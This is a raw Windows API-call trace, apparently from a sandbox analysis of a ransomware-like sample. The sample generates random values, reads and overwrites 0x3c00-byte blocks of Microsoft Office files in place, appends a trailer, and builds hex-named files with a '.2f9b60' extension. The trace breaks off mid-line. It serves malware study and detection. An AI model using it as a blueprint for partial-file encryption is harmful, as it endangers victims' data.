[0148.630] RtlRandomEx (in: Seed=0x2dbbf670 | out: Seed=0x2dbbf670) returned 0x26899260 [0148.630] RtlRandomEx (in: Seed=0x2dbbf670 | out: Seed=0x2dbbf670) returned 0x79f6d061 [0148.630] RtlRandomEx (in: Seed=0x2dbbf670 | out: Seed=0x2dbbf670) returned 0x225483b2 [0148.630] RtlRandomEx (in: Seed=0x2dbbf670 | out: Seed=0x2dbbf670) returned 0x3d45da34 [0148.630] RtlRandomEx (in: Seed=0x2dbbf670 | out: Seed=0x2dbbf670) returned 0x518503ca [0148.630] RtlRandomEx (in: Seed=0x2dbbf670 | out: Seed=0x2dbbf670) returned 0x61fcd7c7 [0148.630] RtlRandomEx (in: Seed=0x2dbbf670 | out: Seed=0x2dbbf670) returned 0x6bfc4997 [0148.630] RtlRandomEx (in: Seed=0x2dbbf670 | out: Seed=0x2dbbf670) returned 0x5e9455a4 [0148.630] RtlRandomEx (in: Seed=0x2dbbf670 | out: Seed=0x2dbbf670) returned 0x33dabe77 [0148.630] RtlRandomEx (in: Seed=0x2dbbf670 | out: Seed=0x2dbbf670) returned 0x70bdf2fa [0148.630] RtlRandomEx (in: Seed=0x2dbbf670 | out: Seed=0x2dbbf670) returned 0x352018e9 [0148.630] RtlRandomEx (in: Seed=0x2dbbf670 | out: Seed=0x2dbbf670) returned 0x2c900d60 [0148.630] RtlRandomEx (in: Seed=0x2dbbf670 | out: Seed=0x2dbbf670) returned 0x7ef31140 [0148.643] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266930 [0148.643] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869ac0 [0148.644] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267320 [0148.644] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869ac0) returned 1 [0148.644] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202673b0) returned 1 [0148.644] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202672f0) returned 1 [0148.644] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd975d0 [0148.644] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869ac0 [0148.645] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202672f0 [0148.645] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202672f0) returned 1 [0148.645] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41ef5950 [0148.645] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41efd170 [0148.645] ReadFile (in: hFile=0x1db4, lpBuffer=0x41ef5950, nNumberOfBytesToRead=0x4b6, lpNumberOfBytesRead=0x2dbbf670, lpOverlapped=0x0 | out: lpBuffer=0x41ef5950*, lpNumberOfBytesRead=0x2dbbf670*=0x4b6, lpOverlapped=0x0) returned 1 [0148.645] SetFilePointerEx (in: hFile=0x1db4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.645] WriteFile (in: hFile=0x1db4, lpBuffer=0x41efd170*, nNumberOfBytesToWrite=0x4b6, lpNumberOfBytesWritten=0x2dbbf674, lpOverlapped=0x0 | out: lpBuffer=0x41efd170*, lpNumberOfBytesWritten=0x2dbbf674*=0x4b6, lpOverlapped=0x0) returned 1 [0165.916] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18ed0 [0165.916] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19770 [0165.916] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19770) returned 1 [0165.917] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41efd170) returned 1 [0165.917] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ef5950) returned 1 [0165.917] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869ac0) returned 1 [0165.917] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd975d0) returned 1 [0165.917] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1b7d7e40 [0165.918] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd975d0 [0165.918] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869ac0 [0165.918] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19770 [0165.918] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19770) returned 1 [0165.918] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1b7d7e80 [0165.919] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19770 [0165.919] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c197a0 [0165.919] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c197a0) returned 1 [0165.919] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869ac0) returned 1 [0165.920] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd975d0) returned 1 [0165.920] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x11a) returned 0x42c202f0 [0165.920] SetFilePointerEx (in: hFile=0x1db4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0165.920] WriteFile (in: hFile=0x1db4, lpBuffer=0x42c202f0*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x2dbbf790, lpOverlapped=0x0 | out: lpBuffer=0x42c202f0*, lpNumberOfBytesWritten=0x2dbbf790*=0x11a, lpOverlapped=0x0) returned 1 [0200.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420593d0 [0200.043] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420614b0 [0200.043] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85af30 [0200.044] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85af30) returned 1 [0200.044] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b85af30 [0200.044] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859a30 [0200.044] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859a00 [0200.045] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859a00) returned 1 [0200.045] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420614b0) returned 1 [0200.046] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420593d0) returned 1 [0200.046] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x51) returned 0x1b859390 [0200.046] sprintf (in: _Dest=0x1b859390, _Format="%c%c" | out: _Dest="35") returned 2 [0200.046] sprintf (in: _Dest=0x1b859392, _Format="%c%c" | out: _Dest="01") returned 2 [0200.046] sprintf (in: _Dest=0x1b859394, _Format="%c%c" | out: _Dest="81") returned 2 [0200.046] sprintf (in: _Dest=0x1b859396, _Format="%c%c" | out: _Dest="11") returned 2 [0200.046] sprintf (in: _Dest=0x1b859398, _Format="%c%c" | out: _Dest="58") returned 2 [0200.046] sprintf (in: _Dest=0x1b85939a, _Format="%c%c" | out: _Dest="fd") returned 2 [0200.046] sprintf (in: _Dest=0x1b85939c, _Format="%c%c" | out: _Dest="a1") returned 2 [0200.046] sprintf (in: _Dest=0x1b85939e, _Format="%c%c" | out: _Dest="6c") returned 2 [0200.046] sprintf (in: _Dest=0x1b8593a0, _Format="%c%c" | out: _Dest="96") returned 2 [0200.046] sprintf (in: _Dest=0x1b8593a2, _Format="%c%c" | out: _Dest="38") returned 2 [0200.046] sprintf (in: _Dest=0x1b8593a4, _Format="%c%c" | out: _Dest="bc") returned 2 [0200.046] sprintf (in: _Dest=0x1b8593a6, _Format="%c%c" | out: _Dest="c5") returned 2 [0200.046] sprintf (in: _Dest=0x1b8593a8, _Format="%c%c" | out: _Dest="46") returned 2 [0200.046] sprintf (in: _Dest=0x1b8593aa, _Format="%c%c" | out: _Dest="a7") returned 2 [0200.046] sprintf (in: _Dest=0x1b8593ac, _Format="%c%c" | out: _Dest="da") returned 2 [0200.046] sprintf (in: _Dest=0x1b8593ae, _Format="%c%c" | out: _Dest="8d") returned 2 [0200.046] sprintf (in: _Dest=0x1b8593b0, _Format="%c%c" | out: _Dest="34") returned 2 [0200.046] sprintf (in: _Dest=0x1b8593b2, _Format="%c%c" | out: _Dest="c1") returned 2 [0200.046] sprintf (in: _Dest=0x1b8593b4, _Format="%c%c" | out: _Dest="84") returned 2 [0200.047] sprintf (in: _Dest=0x1b8593b6, _Format="%c%c" | out: _Dest="8b") returned 2 [0200.047] sprintf (in: _Dest=0x1b8593b8, _Format="%c%c" | out: _Dest="b7") returned 2 [0200.047] sprintf (in: _Dest=0x1b8593ba, _Format="%c%c" | out: _Dest="77") returned 2 [0200.047] sprintf (in: _Dest=0x1b8593bc, _Format="%c%c" | out: _Dest="2d") returned 2 [0200.047] sprintf (in: _Dest=0x1b8593be, _Format="%c%c" | out: _Dest="3c") returned 2 [0200.047] sprintf (in: _Dest=0x1b8593c0, _Format="%c%c" | out: _Dest="52") returned 2 [0200.047] sprintf (in: _Dest=0x1b8593c2, _Format="%c%c" | out: _Dest="16") returned 2 [0200.047] sprintf (in: _Dest=0x1b8593c4, _Format="%c%c" | out: _Dest="04") returned 2 [0200.047] sprintf (in: _Dest=0x1b8593c6, _Format="%c%c" | out: _Dest="f4") returned 2 [0200.047] sprintf (in: _Dest=0x1b8593c8, _Format="%c%c" | out: _Dest="27") returned 2 [0200.047] sprintf (in: _Dest=0x1b8593ca, _Format="%c%c" | out: _Dest="85") returned 2 [0200.047] sprintf (in: _Dest=0x1b8593cc, _Format="%c%c" | out: _Dest="5e") returned 2 [0200.047] sprintf (in: _Dest=0x1b8593ce, _Format="%c%c" | out: _Dest="b3") returned 2 [0200.047] sprintf (in: _Dest=0x1b8593d0, _Format="%c%c" | out: _Dest="ad") returned 2 [0200.047] sprintf (in: _Dest=0x1b8593d2, _Format="%c%c" | out: _Dest="07") returned 2 [0200.047] sprintf (in: _Dest=0x1b8593d4, _Format="%c%c" | out: _Dest="0c") returned 2 [0200.047] sprintf (in: _Dest=0x1b8593d6, _Format="%c%c" | out: _Dest="cc") returned 2 [0200.047] sprintf (in: _Dest=0x1b8593d8, _Format="%c%c" | out: _Dest="da") returned 2 [0200.047] sprintf (in: _Dest=0x1b8593da, _Format="%c%c" | out: _Dest="ec") returned 2 [0200.047] sprintf (in: _Dest=0x1b8593dc, _Format="%c%c" | out: _Dest="e1") returned 2 [0200.047] sprintf (in: _Dest=0x1b8593de, _Format="%c%c" | out: _Dest="34") returned 2 [0200.047] RtlInitAnsiString (in: DestinationString=0x2dbbf808, SourceString="3501811158fda16c9638bcc546a7da8d34c1848bb7772d3c521604f427855eb3ad070cccdaece134" | out: DestinationString="3501811158fda16c9638bcc546a7da8d34c1848bb7772d3c521604f427855eb3ad070cccdaece134") [0200.047] RtlAnsiStringToUnicodeString (in: DestinationString=0x2dbbf7d8, SourceString="3501811158fda16c9638bcc546a7da8d34c1848bb7772d3c521604f427855eb3ad070cccdaece134", AllocateDestinationString=1 | out: DestinationString="3501811158fda16c9638bcc546a7da8d34c1848bb7772d3c521604f427855eb3ad070cccdaece134") returned 0x0 [0200.047] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x431f3c70 [0200.048] wcscat (in: _Dest=0x431e3800, _Source="3501811158fda16c9638" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\3501811158fda16c9638") returned="C:\\Program Files\\Microsoft Office\\Office14\\3501811158fda16c9638" [0200.048] wcscat (in: _Dest=0x431e3800, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\3501811158fda16c9638.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\3501811158fda16c9638.2f9b60" [0200.048] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\3501811158fda16c9638.2f9b60", NtPathName=0x2dbbf7b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\3501811158fda16c9638.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.048] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x431ecc60 Thread: id = 2280 os_tid = 0xa88 [0143.259] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OUTLFLTR.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\outlfltr.dat")) returned 0x20 [0148.597] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OUTLFLTR.DAT", dwFileAttributes=0x20) returned 1 [0148.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OUTLFLTR.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\outlfltr.dat"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1fc4 [0148.599] GetFileSizeEx (in: hFile=0x1fc4, lpFileSize=0x27fffcc0 | out: lpFileSize=0x27fffcc0*=3670016) returned 1 [0148.599] SetFilePointerEx (in: hFile=0x1fc4, liDistanceToMove=0x37fffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.599] ReadFile (in: hFile=0x1fc4, lpBuffer=0x27fffc40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x27fffc88, lpOverlapped=0x0 | out: lpBuffer=0x27fffc40*, lpNumberOfBytesRead=0x27fffc88*=0x4, lpOverlapped=0x0) returned 1 [0148.601] SetFilePointerEx (in: hFile=0x1fc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.601] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202641d0 [0148.601] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266900 [0148.601] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202672f0 [0148.602] NtQuerySystemTime (in: CurrentTime=0x27fffb80 | out: CurrentTime=0x27fffb80*=132462177538234000) returned 0x0 [0148.602] RtlRandomEx (in: Seed=0x27fffb70 | out: Seed=0x27fffb70) returned 0x12f71e01 [0148.602] RtlRandomEx (in: Seed=0x27fffb70 | out: Seed=0x27fffb70) returned 0xb3fa5a2 [0148.602] RtlRandomEx (in: Seed=0x27fffb70 | out: Seed=0x27fffb70) returned 0x4d2b28fc [0148.602] RtlRandomEx (in: Seed=0x27fffb70 | out: Seed=0x27fffb70) returned 0x36c85aff [0148.602] RtlRandomEx (in: Seed=0x27fffb70 | out: Seed=0x27fffb70) returned 0x2b4d2829 [0148.602] RtlRandomEx (in: Seed=0x27fffb70 | out: Seed=0x27fffb70) returned 0x38d8399e [0148.602] RtlRandomEx (in: Seed=0x27fffb70 | out: Seed=0x27fffb70) returned 0x284cdd75 [0148.602] RtlRandomEx (in: Seed=0x27fffb70 | out: Seed=0x27fffb70) returned 0x2c548c28 [0148.602] RtlRandomEx (in: Seed=0x27fffb70 | out: Seed=0x27fffb70) returned 0x215ddd3d [0148.602] RtlRandomEx (in: Seed=0x27fffb70 | out: Seed=0x27fffb70) returned 0xc1fd70 [0148.602] RtlRandomEx (in: Seed=0x27fffb70 | out: Seed=0x27fffb70) returned 0x144808f [0148.602] RtlRandomEx (in: Seed=0x27fffb70 | out: Seed=0x27fffb70) returned 0x1f6efe1a [0148.603] RtlRandomEx (in: Seed=0x27fffb70 | out: Seed=0x27fffb70) returned 0x471a0542 [0148.603] RtlRandomEx (in: Seed=0x27fffb70 | out: Seed=0x27fffb70) returned 0x63d37cbe [0148.603] RtlRandomEx (in: Seed=0x27fffb70 | out: Seed=0x27fffb70) returned 0x4f3fe382 [0148.603] RtlRandomEx (in: Seed=0x27fffb70 | out: Seed=0x27fffb70) returned 0x43be3f5a [0148.603] RtlRandomEx (in: Seed=0x27fffb70 | out: Seed=0x27fffb70) returned 0x6057e162 [0148.603] RtlRandomEx (in: Seed=0x27fffb70 | out: Seed=0x27fffb70) returned 0x6f9ba51d [0148.603] RtlRandomEx (in: Seed=0x27fffb70 | out: Seed=0x27fffb70) returned 0x3c8da520 [0148.603] RtlRandomEx (in: Seed=0x27fffb70 | out: Seed=0x27fffb70) returned 0x7f704a30 [0148.603] RtlRandomEx (in: Seed=0x27fffb70 | out: Seed=0x27fffb70) returned 0x436c5b13 [0148.603] RtlRandomEx (in: Seed=0x27fffb70 | out: Seed=0x27fffb70) returned 0xd137efe [0148.603] RtlRandomEx (in: Seed=0x27fffb70 | out: Seed=0x27fffb70) returned 0x4e2befe7 [0148.603] RtlRandomEx (in: Seed=0x27fffb70 | out: Seed=0x27fffb70) returned 0x59d06ae7 [0148.603] RtlRandomEx (in: Seed=0x27fffb70 | out: Seed=0x27fffb70) returned 0x5da79c73 [0148.603] RtlRandomEx (in: Seed=0x27fffb70 | out: Seed=0x27fffb70) returned 0x698cc8f1 [0148.603] RtlRandomEx (in: Seed=0x27fffb70 | out: Seed=0x27fffb70) returned 0x5e117a7e [0148.603] RtlRandomEx (in: Seed=0x27fffb70 | out: Seed=0x27fffb70) returned 0x50545ac1 [0148.603] RtlRandomEx (in: Seed=0x27fffb70 | out: Seed=0x27fffb70) returned 0x78db2678 [0148.603] RtlRandomEx (in: Seed=0x27fffb70 | out: Seed=0x27fffb70) returned 0x60f85258 [0148.604] RtlRandomEx (in: Seed=0x27fffb70 | out: Seed=0x27fffb70) returned 0x57e65bf5 [0148.604] RtlRandomEx (in: Seed=0x27fffb70 | out: Seed=0x27fffb70) returned 0x27667175 [0148.618] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267980 [0148.618] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869ac0 [0148.619] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267710 [0148.619] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869ac0) returned 1 [0148.619] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202672f0) returned 1 [0148.619] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202641d0) returned 1 [0148.619] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x420485a0 [0148.620] SetFilePointerEx (in: hFile=0x1fc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.620] ReadFile (in: hFile=0x1fc4, lpBuffer=0x420485a0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x27fffbe0, lpOverlapped=0x0 | out: lpBuffer=0x420485a0*, lpNumberOfBytesRead=0x27fffbe0*=0x3c00, lpOverlapped=0x0) returned 1 [0148.622] SetFilePointerEx (in: hFile=0x1fc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.622] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd975d0 [0148.622] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869ac0 [0148.622] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202641d0 [0148.622] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202641d0) returned 1 [0148.623] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41ef1d40 [0148.623] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202641d0 [0148.623] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202672f0 [0148.623] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202672f0) returned 1 [0148.623] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869ac0) returned 1 [0148.624] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd975d0) returned 1 [0148.624] WriteFile (hFile=0x1fc4, lpBuffer=0x41ef1d40, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x27fffbe0, lpOverlapped=0x0) [0194.948] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ef1d40) returned 1 [0194.948] SetFilePointerEx (in: hFile=0x1fc4, liDistanceToMove=0x1c2000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.948] ReadFile (in: hFile=0x1fc4, lpBuffer=0x420485a0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x27fffbe0, lpOverlapped=0x0 | out: lpBuffer=0x420485a0*, lpNumberOfBytesRead=0x27fffbe0*=0x3c00, lpOverlapped=0x0) returned 1 [0198.070] SetFilePointerEx (in: hFile=0x1fc4, liDistanceToMove=0x1c2000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.070] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced16b0 [0198.071] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cf5f380 [0198.071] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0ef0 [0198.072] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0ef0) returned 1 [0198.072] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f8c1b0 [0198.072] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0ef0 [0198.073] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb1310 [0198.073] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb1310) returned 1 [0198.074] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf5f380) returned 1 [0198.074] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced16b0) returned 1 [0198.074] WriteFile (in: hFile=0x1fc4, lpBuffer=0x41f8c1b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x27fffbe0, lpOverlapped=0x0 | out: lpBuffer=0x41f8c1b0*, lpNumberOfBytesWritten=0x27fffbe0*=0x3c00, lpOverlapped=0x0) returned 1 [0210.224] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f8c1b0) returned 1 [0210.224] SetFilePointerEx (in: hFile=0x1fc4, liDistanceToMove=0x37c400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.224] ReadFile (in: hFile=0x1fc4, lpBuffer=0x420485a0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x27fffbe0, lpOverlapped=0x0 | out: lpBuffer=0x420485a0*, lpNumberOfBytesRead=0x27fffbe0*=0x3c00, lpOverlapped=0x0) returned 1 [0210.369] SetFilePointerEx (in: hFile=0x1fc4, liDistanceToMove=0x37c400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.369] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce616a0 [0210.369] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce23ea0 [0210.370] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f54a0 [0210.370] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f54a0) returned 1 [0210.370] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42838200 [0210.371] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f54a0 [0210.371] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3820 [0210.372] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3820) returned 1 [0210.372] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce23ea0) returned 1 [0210.372] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce616a0) returned 1 [0210.372] WriteFile (in: hFile=0x1fc4, lpBuffer=0x42838200*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x27fffbe0, lpOverlapped=0x0 | out: lpBuffer=0x42838200*, lpNumberOfBytesWritten=0x27fffbe0*=0x3c00, lpOverlapped=0x0) returned 1 [0221.621] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42838200) returned 1 [0221.621] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x43105d70 [0221.622] SetFilePointerEx (in: hFile=0x1fc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0221.622] WriteFile (in: hFile=0x1fc4, lpBuffer=0x430bd220*, nNumberOfBytesToWrite=0x14a, lpNumberOfBytesWritten=0x27fffc90, lpOverlapped=0x0 | out: lpBuffer=0x430bd220*, lpNumberOfBytesWritten=0x27fffc90*=0x14a, lpOverlapped=0x0) returned 1 [0222.910] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61920 [0222.911] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8689c0 [0222.912] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc7d0 [0222.913] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc7d0) returned 1 [0222.913] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0222.914] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc7d0 [0222.914] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc6e0 [0222.915] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc6e0) returned 1 [0222.916] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8689c0) returned 1 [0222.916] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61920) returned 1 [0222.916] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x431ad9a0 [0222.916] sprintf (in: _Dest=0x431ad9a0, _Format="%c%c" | out: _Dest="fe") returned 2 [0222.917] sprintf (in: _Dest=0x431ad9a2, _Format="%c%c" | out: _Dest="b1") returned 2 [0222.917] sprintf (in: _Dest=0x431ad9a4, _Format="%c%c" | out: _Dest="ef") returned 2 [0222.917] sprintf (in: _Dest=0x431ad9a6, _Format="%c%c" | out: _Dest="e6") returned 2 [0222.917] sprintf (in: _Dest=0x431ad9a8, _Format="%c%c" | out: _Dest="92") returned 2 [0222.917] sprintf (in: _Dest=0x431ad9aa, _Format="%c%c" | out: _Dest="9d") returned 2 [0222.917] sprintf (in: _Dest=0x431ad9ac, _Format="%c%c" | out: _Dest="05") returned 2 [0222.917] sprintf (in: _Dest=0x431ad9ae, _Format="%c%c" | out: _Dest="d3") returned 2 [0222.917] sprintf (in: _Dest=0x431ad9b0, _Format="%c%c" | out: _Dest="69") returned 2 [0222.917] sprintf (in: _Dest=0x431ad9b2, _Format="%c%c" | out: _Dest="14") returned 2 [0222.917] sprintf (in: _Dest=0x431ad9b4, _Format="%c%c" | out: _Dest="fc") returned 2 [0222.917] sprintf (in: _Dest=0x431ad9b6, _Format="%c%c" | out: _Dest="4b") returned 2 [0222.917] sprintf (in: _Dest=0x431ad9b8, _Format="%c%c" | out: _Dest="28") returned 2 [0222.917] sprintf (in: _Dest=0x431ad9ba, _Format="%c%c" | out: _Dest="12") returned 2 [0222.917] sprintf (in: _Dest=0x431ad9bc, _Format="%c%c" | out: _Dest="89") returned 2 [0222.917] sprintf (in: _Dest=0x431ad9be, _Format="%c%c" | out: _Dest="0d") returned 2 [0222.917] sprintf (in: _Dest=0x431ad9c0, _Format="%c%c" | out: 